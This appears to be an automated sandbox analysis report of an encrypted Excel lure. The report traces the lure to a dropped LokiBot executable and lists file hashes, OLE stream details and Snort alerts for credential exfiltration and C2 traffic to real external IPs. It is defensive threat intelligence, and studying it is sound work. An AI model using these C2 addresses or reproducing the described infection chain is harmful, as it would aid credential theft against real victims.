SSDEEP:	3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
MD5:	96114D75E30EBD26B572C1FC83D1D02E
SHA1:	A44EEBDA5EB09862AC46346227F06F8CFAF19407
SHA-256:	0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
SHA-512:	52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	584704
Entropy (8bit):	7.31402329860771
Encrypted:	false
SSDEEP:	12288:ek3fNrqcsXP04X8QGETcxAtAHp5LcPgKaIJVPfHAZ0xnJWBIlO+T2U7H:vfYJ/04XuE0Agp54PH
MD5:	3EE960D7D595C82B47CE28164AFED056
SHA1:	FD750607C392744A3302538C2A0B0FE810D199BB
SHA-256:	7596F11C31683CC9137672D261E19B4DD61952BAD97545080A1663AB475283B2
SHA-512:	F5432D376F7390C3A4EAD25CD167286FB9B99421354302AFF7739B30AB2DF825EAE16D05DE1308268DF27B60B01F8150A42707C7B6367A5D051E0AD443A49462
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 33%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....V................0.................. ... ....@.. .......................`............@.....................................S.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H........................V...{...........................................].:....w..H.3...c.abf............%..........;x;x. @...o.p.1.........G.e..W..@+...Qx..".B.Y.\|^..C...3&..S..~........../......uv/@..iMM.%.....'.......=1.4z..\|.)..Q\.KU...M.A{.\|...;...51.F.lp..e..niy...C....U1\M.Ri......(..R?..EN.%....v~..l........#$...)J.B=.5.q...@U.G.....e..c.z....Zu...A.Wua)b.1...`..:<^...A\){...;...,...g..2.......?p{x@...D'.%..e`$x..hP........8O...VZ........#.ck.p-.T...V

Static File Info

General
File type:	CDFV2 Encrypted
Entropy (8bit):	7.996815692043313
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	MV NAGOYA TRADER.xlsx
File size:	2653184
MD5:	dd41f88e3d53755f0aa1318bf473d08b
SHA1:	54ccf49aaf860ab2531b37dd38adc0273b6f2551
SHA256:	6f68432c8c109e52980cef46236114266c97a5791808053b07a943d7686f8f55
SHA512:	7596de55f96cfb9b2a38a21750209b1941a9e9b6ef6a801fe3b56d81cbf118296042b74fa032ce71546c92c09fe1569d1e2887f65fd2a0aa40d600e70bfd23a6
SSDEEP:	49152:7ypWkhzJao3Wmqugef4weOPWP2hMpNm1NBaw3ZraPJSx6JSutUcZYVg:mzmm1g1weOJyp+rE8x6JPUTg
File Content Preview:	........................>...................)...........................................................................................~...............z.......\|.......~...............z.......\|.......~...............z.......\|.......~......................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "MV NAGOYA TRADER.xlsx"

Indicators
Has Summary Info:	False
Application Name:	unknown
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	False

Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

General
Stream Path:	\x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace
File Type:	data
Stream Size:	64
Entropy:	2.73637206947
Base64 Encoded:	False
Data ASCII:	. . . . . . . . 2 . . . S . t . r . o . n . g . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . .
Data Raw:	08 00 00 00 01 00 00 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 54 00 72 00 61 00 6e 00 73 00 66 00 6f 00 72 00 6d 00 00 00

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

General
Stream Path:	\x6DataSpaces/DataSpaceMap
File Type:	data
Stream Size:	112
Entropy:	2.7597816111
Base64 Encoded:	False
Data ASCII:	. . . . . . . . h . . . . . . . . . . . . . . E . n . c . r . y . p . t . e . d . P . a . c . k . a . g . e . 2 . . . S . t . r . o . n . g . E . n . c . r . y . p . t . i . o . n . D . a . t . a . S . p . a . c . e . . .
Data Raw:	08 00 00 00 01 00 00 00 68 00 00 00 01 00 00 00 00 00 00 00 20 00 00 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 50 00 61 00 63 00 6b 00 61 00 67 00 65 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 00 00

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size: 200

General
Stream Path:	\x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary
File Type:	data
Stream Size:	200
Entropy:	3.13335930328
Base64 Encoded:	False
Data ASCII:	X . . . . . . . L . . . { . F . F . 9 . A . 3 . F . 0 . 3 . - . 5 . 6 . E . F . - . 4 . 6 . 1 . 3 . - . B . D . D . 5 . - . 5 . A . 4 . 1 . C . 1 . D . 0 . 7 . 2 . 4 . 6 . } . N . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n . e . r . . . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	58 00 00 00 01 00 00 00 4c 00 00 00 7b 00 46 00 46 00 39 00 41 00 33 00 46 00 30 00 33 00 2d 00 35 00 36 00 45 00 46 00 2d 00 34 00 36 00 31 00 33 00 2d 00 42 00 44 00 44 00 35 00 2d 00 35 00 41 00 34 00 31 00 43 00 31 00 44 00 30 00 37 00 32 00 34 00 36 00 7d 00 4e 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

General
Stream Path:	\x6DataSpaces/Version
File Type:	data
Stream Size:	76
Entropy:	2.79079600998
Base64 Encoded:	False
Data ASCII:	< . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n . e . r . . . D . a . t . a . S . p . a . c . e . s . . . . . . . . . . . . .
Data Raw:	3c 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00 72 00 2e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 73 00 01 00 00 00 01 00 00 00 01 00 00 00

Stream Path: EncryptedPackage, File Type: data, Stream Size: 2628408

General
Stream Path:	EncryptedPackage
File Type:	data
Stream Size:	2628408
Entropy:	7.99993139379
Base64 Encoded:	True
Data ASCII:	# . ( . . . . . . . $ Y j E A . . . \\ . * . . . . . . . . , . S . . . g . . . . . . . . _ 0 g W . . . . . . . . . I . . % l # U < V . @ . . 8 . . . . . O } . E . . . . . q . . . . . . O } . E . . . . . q . . . . . . O } . E . . . . . q . . . . . . O } . E . . . . . q . . . . . . O } . E . . . . . q . . . . . . O } . E . . . . . q . . . . . . O } . E . . . . . q . . . . . . O } . E . . . . . q . . . . . . O } . E . . . . . q . . . . . . O } . E . . . . . q . . . . . . O } . E . . . . . q . . . . . . O } .
Data Raw:	23 1b 28 00 00 00 00 00 89 ab 24 59 6a 45 41 a1 01 1b 5c a5 2a 09 b1 8f 8b e5 1b ec be 2c 12 53 da aa d9 67 f5 18 07 8a cb 20 7f cc 08 5f 30 67 57 12 e4 d5 10 a3 99 0e 9c ad 49 ed b9 25 6c 23 55 3c 56 db 40 c9 f3 38 df 03 ee bf 04 4f 7d ba 45 db fe ef d9 b2 71 a7 df 03 ee bf 04 4f 7d ba 45 db fe ef d9 b2 71 a7 df 03 ee bf 04 4f 7d ba 45 db fe ef d9 b2 71 a7 df 03 ee bf 04 4f 7d ba

Stream Path: EncryptionInfo, File Type: data, Stream Size: 224

General
Stream Path:	EncryptionInfo
File Type:	data
Stream Size:	224
Entropy:	4.57774966758
Base64 Encoded:	False
Data ASCII:	. . . . $ . . . . . . . $ . . . . . . . . f . . . . . . . . . . . . . . . . . . . . . . M . i . c . r . o . s . o . f . t . . E . n . h . a . n . c . e . d . . R . S . A . . a . n . d . . A . E . S . . C . r . y . p . t . o . g . r . a . p . h . i . c . . P . r . o . v . i . d . e . r . . . . . . . . a . . : . . . . . / , D . . . . . j l t ; J q . . . h . . . D . . . . . L . y . . . # Y $ O . . . ( k . . . G . . . : @ . . . _ . z
Data Raw:	04 00 02 00 24 00 00 00 8c 00 00 00 24 00 00 00 00 00 00 00 0e 66 00 00 04 80 00 00 80 00 00 00 18 00 00 00 00 00 00 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 45 00 6e 00 68 00 61 00 6e 00 63 00 65 00 64 00 20 00 52 00 53 00 41 00 20 00 61 00 6e 00 64 00 20 00 41 00 45 00 53 00 20 00 43 00 72 00 79 00 70 00 74 00 6f 00 67 00 72 00 61 00 70 00 68 00

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
12/21/20-08:33:20.406845	TCP	2022550	ET TROJAN Possible Malicious Macro DL EXE Feb 2016	49167	80	192.168.2.22	103.141.138.119
12/21/20-08:33:32.340297	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49168	80	192.168.2.22	185.193.143.118
12/21/20-08:33:32.340297	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49168	80	192.168.2.22	185.193.143.118
12/21/20-08:33:32.340297	TCP	2025381	ET TROJAN LokiBot Checkin	49168	80	192.168.2.22	185.193.143.118
12/21/20-08:33:32.340297	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49168	80	192.168.2.22	185.193.143.118
12/21/20-08:33:32.340297	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49168	80	192.168.2.22	185.193.143.118
12/21/20-08:33:33.097277	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49169	80	192.168.2.22	185.193.143.118
12/21/20-08:33:33.097277	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49169	80	192.168.2.22	185.193.143.118
12/21/20-08:33:33.097277	TCP	2025381	ET TROJAN LokiBot Checkin	49169	80	192.168.2.22	185.193.143.118
12/21/20-08:33:33.097277	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49169	80	192.168.2.22	185.193.143.118
12/21/20-08:33:33.097277	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49169	80	192.168.2.22	185.193.143.118
12/21/20-08:33:33.482025	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49170	80	192.168.2.22	185.193.143.118
12/21/20-08:33:33.482025	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49170	80	192.168.2.22	185.193.143.118
12/21/20-08:33:33.482025	TCP	2025381	ET TROJAN LokiBot Checkin	49170	80	192.168.2.22	185.193.143.118
12/21/20-08:33:33.482025	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49170	80	192.168.2.22	185.193.143.118
12/21/20-08:33:33.482025	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49170	80	192.168.2.22	185.193.143.118
12/21/20-08:33:33.668129	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49170	185.193.143.118	192.168.2.22
12/21/20-08:33:33.982963	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49171	80	192.168.2.22	185.193.143.118
12/21/20-08:33:33.982963	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49171	80	192.168.2.22	185.193.143.118
12/21/20-08:33:33.982963	TCP	2025381	ET TROJAN LokiBot Checkin	49171	80	192.168.2.22	185.193.143.118
12/21/20-08:33:33.982963	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49171	80	192.168.2.22	185.193.143.118
12/21/20-08:33:33.982963	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49171	80	192.168.2.22	185.193.143.118
12/21/20-08:33:34.172880	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49171	185.193.143.118	192.168.2.22
12/21/20-08:33:34.470275	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49172	80	192.168.2.22	185.193.143.118
12/21/20-08:33:34.470275	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49172	80	192.168.2.22	185.193.143.118
12/21/20-08:33:34.470275	TCP	2025381	ET TROJAN LokiBot Checkin	49172	80	192.168.2.22	185.193.143.118
12/21/20-08:33:34.470275	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49172	80	192.168.2.22	185.193.143.118
12/21/20-08:33:34.470275	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49172	80	192.168.2.22	185.193.143.118
12/21/20-08:33:34.668154	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49172	185.193.143.118	192.168.2.22
12/21/20-08:33:34.978436	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49173	80	192.168.2.22	185.193.143.118
12/21/20-08:33:34.978436	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49173	80	192.168.2.22	185.193.143.118
12/21/20-08:33:34.978436	TCP	2025381	ET TROJAN LokiBot Checkin	49173	80	192.168.2.22	185.193.143.118
12/21/20-08:33:34.978436	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49173	80	192.168.2.22	185.193.143.118
12/21/20-08:33:34.978436	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49173	80	192.168.2.22	185.193.143.118
12/21/20-08:33:35.166301	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49173	185.193.143.118	192.168.2.22
12/21/20-08:33:35.458680	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49174	80	192.168.2.22	185.193.143.118
12/21/20-08:33:35.458680	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49174	80	192.168.2.22	185.193.143.118
12/21/20-08:33:35.458680	TCP	2025381	ET TROJAN LokiBot Checkin	49174	80	192.168.2.22	185.193.143.118
12/21/20-08:33:35.458680	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49174	80	192.168.2.22	185.193.143.118
12/21/20-08:33:35.458680	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49174	80	192.168.2.22	185.193.143.118
12/21/20-08:33:35.642135	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49174	185.193.143.118	192.168.2.22
12/21/20-08:33:35.934755	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49175	80	192.168.2.22	185.193.143.118
12/21/20-08:33:35.934755	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49175	80	192.168.2.22	185.193.143.118
12/21/20-08:33:35.934755	TCP	2025381	ET TROJAN LokiBot Checkin	49175	80	192.168.2.22	185.193.143.118
12/21/20-08:33:35.934755	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49175	80	192.168.2.22	185.193.143.118
12/21/20-08:33:35.934755	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49175	80	192.168.2.22	185.193.143.118
12/21/20-08:33:36.116868	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49175	185.193.143.118	192.168.2.22
12/21/20-08:33:36.417719	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49176	80	192.168.2.22	185.193.143.118
12/21/20-08:33:36.417719	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49176	80	192.168.2.22	185.193.143.118
12/21/20-08:33:36.417719	TCP	2025381	ET TROJAN LokiBot Checkin	49176	80	192.168.2.22	185.193.143.118
12/21/20-08:33:36.417719	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49176	80	192.168.2.22	185.193.143.118
12/21/20-08:33:36.417719	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49176	80	192.168.2.22	185.193.143.118
12/21/20-08:33:36.615480	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49176	185.193.143.118	192.168.2.22
12/21/20-08:33:36.908483	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49177	80	192.168.2.22	185.193.143.118
12/21/20-08:33:36.908483	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49177	80	192.168.2.22	185.193.143.118
12/21/20-08:33:36.908483	TCP	2025381	ET TROJAN LokiBot Checkin	49177	80	192.168.2.22	185.193.143.118
12/21/20-08:33:36.908483	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49177	80	192.168.2.22	185.193.143.118
12/21/20-08:33:36.908483	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49177	80	192.168.2.22	185.193.143.118
12/21/20-08:33:37.104372	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49177	185.193.143.118	192.168.2.22
12/21/20-08:33:37.413851	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49178	80	192.168.2.22	185.193.143.118
12/21/20-08:33:37.413851	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49178	80	192.168.2.22	185.193.143.118
12/21/20-08:33:37.413851	TCP	2025381	ET TROJAN LokiBot Checkin	49178	80	192.168.2.22	185.193.143.118
12/21/20-08:33:37.413851	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49178	80	192.168.2.22	185.193.143.118
12/21/20-08:33:37.413851	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49178	80	192.168.2.22	185.193.143.118
12/21/20-08:33:37.608020	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49178	185.193.143.118	192.168.2.22
12/21/20-08:33:37.896116	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49179	80	192.168.2.22	185.193.143.118
12/21/20-08:33:37.896116	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49179	80	192.168.2.22	185.193.143.118
12/21/20-08:33:37.896116	TCP	2025381	ET TROJAN LokiBot Checkin	49179	80	192.168.2.22	185.193.143.118
12/21/20-08:33:37.896116	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49179	80	192.168.2.22	185.193.143.118
12/21/20-08:33:37.896116	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49179	80	192.168.2.22	185.193.143.118
12/21/20-08:33:38.091372	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49179	185.193.143.118	192.168.2.22
12/21/20-08:33:38.365580	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49180	80	192.168.2.22	185.193.143.118
12/21/20-08:33:38.365580	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49180	80	192.168.2.22	185.193.143.118
12/21/20-08:33:38.365580	TCP	2025381	ET TROJAN LokiBot Checkin	49180	80	192.168.2.22	185.193.143.118
12/21/20-08:33:38.365580	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49180	80	192.168.2.22	185.193.143.118
12/21/20-08:33:38.365580	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49180	80	192.168.2.22	185.193.143.118
12/21/20-08:33:38.546296	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49180	185.193.143.118	192.168.2.22
12/21/20-08:33:38.845704	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49181	80	192.168.2.22	185.193.143.118
12/21/20-08:33:38.845704	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49181	80	192.168.2.22	185.193.143.118
12/21/20-08:33:38.845704	TCP	2025381	ET TROJAN LokiBot Checkin	49181	80	192.168.2.22	185.193.143.118
12/21/20-08:33:38.845704	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49181	80	192.168.2.22	185.193.143.118
12/21/20-08:33:38.845704	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49181	80	192.168.2.22	185.193.143.118
12/21/20-08:33:39.040893	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49181	185.193.143.118	192.168.2.22
12/21/20-08:33:39.320762	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49182	80	192.168.2.22	185.193.143.118
12/21/20-08:33:39.320762	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49182	80	192.168.2.22	185.193.143.118
12/21/20-08:33:39.320762	TCP	2025381	ET TROJAN LokiBot Checkin	49182	80	192.168.2.22	185.193.143.118
12/21/20-08:33:39.320762	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49182	80	192.168.2.22	185.193.143.118
12/21/20-08:33:39.320762	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49182	80	192.168.2.22	185.193.143.118
12/21/20-08:33:39.513074	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49182	185.193.143.118	192.168.2.22
12/21/20-08:33:39.813664	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49183	80	192.168.2.22	185.193.143.118
12/21/20-08:33:39.813664	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49183	80	192.168.2.22	185.193.143.118
12/21/20-08:33:39.813664	TCP	2025381	ET TROJAN LokiBot Checkin	49183	80	192.168.2.22	185.193.143.118
12/21/20-08:33:39.813664	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49183	80	192.168.2.22	185.193.143.118
12/21/20-08:33:39.813664	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49183	80	192.168.2.22	185.193.143.118
12/21/20-08:33:40.004152	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49183	185.193.143.118	192.168.2.22
12/21/20-08:33:40.294286	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49184	80	192.168.2.22	185.193.143.118
12/21/20-08:33:40.294286	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49184	80	192.168.2.22	185.193.143.118
12/21/20-08:33:40.294286	TCP	2025381	ET TROJAN LokiBot Checkin	49184	80	192.168.2.22	185.193.143.118
12/21/20-08:33:40.294286	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49184	80	192.168.2.22	185.193.143.118
12/21/20-08:33:40.294286	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49184	80	192.168.2.22	185.193.143.118
12/21/20-08:33:40.472325	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49184	185.193.143.118	192.168.2.22
12/21/20-08:33:40.742276	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49185	80	192.168.2.22	185.193.143.118
12/21/20-08:33:40.742276	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49185	80	192.168.2.22	185.193.143.118
12/21/20-08:33:40.742276	TCP	2025381	ET TROJAN LokiBot Checkin	49185	80	192.168.2.22	185.193.143.118
12/21/20-08:33:40.742276	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49185	80	192.168.2.22	185.193.143.118
12/21/20-08:33:40.742276	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49185	80	192.168.2.22	185.193.143.118
12/21/20-08:33:40.927835	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49185	185.193.143.118	192.168.2.22
12/21/20-08:33:41.221610	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49186	80	192.168.2.22	185.193.143.118
12/21/20-08:33:41.221610	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49186	80	192.168.2.22	185.193.143.118
12/21/20-08:33:41.221610	TCP	2025381	ET TROJAN LokiBot Checkin	49186	80	192.168.2.22	185.193.143.118
12/21/20-08:33:41.221610	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49186	80	192.168.2.22	185.193.143.118
12/21/20-08:33:41.221610	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49186	80	192.168.2.22	185.193.143.118
12/21/20-08:33:41.413666	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49186	185.193.143.118	192.168.2.22
12/21/20-08:33:41.708348	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49187	80	192.168.2.22	185.193.143.118
12/21/20-08:33:41.708348	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49187	80	192.168.2.22	185.193.143.118
12/21/20-08:33:41.708348	TCP	2025381	ET TROJAN LokiBot Checkin	49187	80	192.168.2.22	185.193.143.118
12/21/20-08:33:41.708348	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49187	80	192.168.2.22	185.193.143.118
12/21/20-08:33:41.708348	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49187	80	192.168.2.22	185.193.143.118
12/21/20-08:33:41.895755	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49187	185.193.143.118	192.168.2.22
12/21/20-08:33:42.188874	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49188	80	192.168.2.22	185.193.143.118
12/21/20-08:33:42.188874	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49188	80	192.168.2.22	185.193.143.118
12/21/20-08:33:42.188874	TCP	2025381	ET TROJAN LokiBot Checkin	49188	80	192.168.2.22	185.193.143.118
12/21/20-08:33:42.188874	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49188	80	192.168.2.22	185.193.143.118
12/21/20-08:33:42.188874	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49188	80	192.168.2.22	185.193.143.118
12/21/20-08:33:42.381173	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49188	185.193.143.118	192.168.2.22
12/21/20-08:33:42.666408	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49189	80	192.168.2.22	185.193.143.118
12/21/20-08:33:42.666408	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49189	80	192.168.2.22	185.193.143.118
12/21/20-08:33:42.666408	TCP	2025381	ET TROJAN LokiBot Checkin	49189	80	192.168.2.22	185.193.143.118
12/21/20-08:33:42.666408	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49189	80	192.168.2.22	185.193.143.118
12/21/20-08:33:42.666408	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49189	80	192.168.2.22	185.193.143.118
12/21/20-08:33:42.848619	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49189	185.193.143.118	192.168.2.22
12/21/20-08:33:43.123722	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49190	80	192.168.2.22	185.193.143.118
12/21/20-08:33:43.123722	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49190	80	192.168.2.22	185.193.143.118
12/21/20-08:33:43.123722	TCP	2025381	ET TROJAN LokiBot Checkin	49190	80	192.168.2.22	185.193.143.118
12/21/20-08:33:43.123722	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49190	80	192.168.2.22	185.193.143.118
12/21/20-08:33:43.123722	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49190	80	192.168.2.22	185.193.143.118
12/21/20-08:33:43.317317	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49190	185.193.143.118	192.168.2.22
12/21/20-08:33:43.611075	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49191	80	192.168.2.22	185.193.143.118
12/21/20-08:33:43.611075	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49191	80	192.168.2.22	185.193.143.118
12/21/20-08:33:43.611075	TCP	2025381	ET TROJAN LokiBot Checkin	49191	80	192.168.2.22	185.193.143.118
12/21/20-08:33:43.611075	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49191	80	192.168.2.22	185.193.143.118
12/21/20-08:33:43.611075	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49191	80	192.168.2.22	185.193.143.118
12/21/20-08:33:43.801180	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49191	185.193.143.118	192.168.2.22
